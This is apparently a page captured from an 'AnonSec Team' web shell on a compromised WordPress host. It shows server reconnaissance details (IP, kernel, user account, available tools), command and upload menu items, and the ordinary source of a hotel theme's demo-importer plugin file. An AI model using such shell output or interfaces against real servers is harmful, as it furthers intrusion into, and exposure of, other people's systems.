AnonSec Team
Server IP : 10.131.40.8  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : ludmqhh ( 137773)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ludmqhh/www/hotel-forum/wp-content/plugins/stm-configurations/importer/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ludmqhh/www/hotel-forum/wp-content/plugins/stm-configurations/importer/importer.php
<?php
require_once(STM_CONFIGURATIONS_PATH . '/importer/helpers/content.php');
require_once(STM_CONFIGURATIONS_PATH . '/importer/helpers/theme_options.php');
require_once(STM_CONFIGURATIONS_PATH . '/importer/helpers/slider.php');
require_once(STM_CONFIGURATIONS_PATH . '/importer/helpers/widgets.php');
require_once(STM_CONFIGURATIONS_PATH . '/importer/helpers/set_content.php');
require_once(STM_CONFIGURATIONS_PATH . '/importer/helpers/megamenu/config.php');
require_once(STM_CONFIGURATIONS_PATH . '/importer/helpers/hotelier.php');

function stm_demo_import_content()
{
    check_ajax_referer('stm_demo_import_content', 'nonce');
    $layout = 'frankfurt';

    if(!empty($_GET['demo_template'])){
        $layout = sanitize_title($_GET['demo_template']);
    }

	update_option('stm_layout', $layout);

    /*Import content*/
    stm_theme_import_content($layout);

    /*Import theme options*/
    update_option('stm_theme_options', stm_get_layout_options($layout));

    /*Import sliders*/
    stm_theme_import_sliders($layout);

    /*Import Widgets*/
    stm_theme_import_widgets($layout);

    /*Set menu and pages*/
    stm_set_content_options($layout);

	stm_update_hotelier_options($layout);

	hotello_update_custom_styles();

	wp_send_json(array(
		'url' => get_home_url('/'),
		'title' => esc_html__('View site', 'stm_domain'),
		'theme_options_title' => esc_html__('Theme options', 'stm_domain'),
		'theme_options' => esc_url_raw(admin_url('admin.php?page=hotel-theme-options'))
	));
    die();

}

add_action('wp_ajax_stm_demo_import_content', 'stm_demo_import_content');

AnonSec - 2021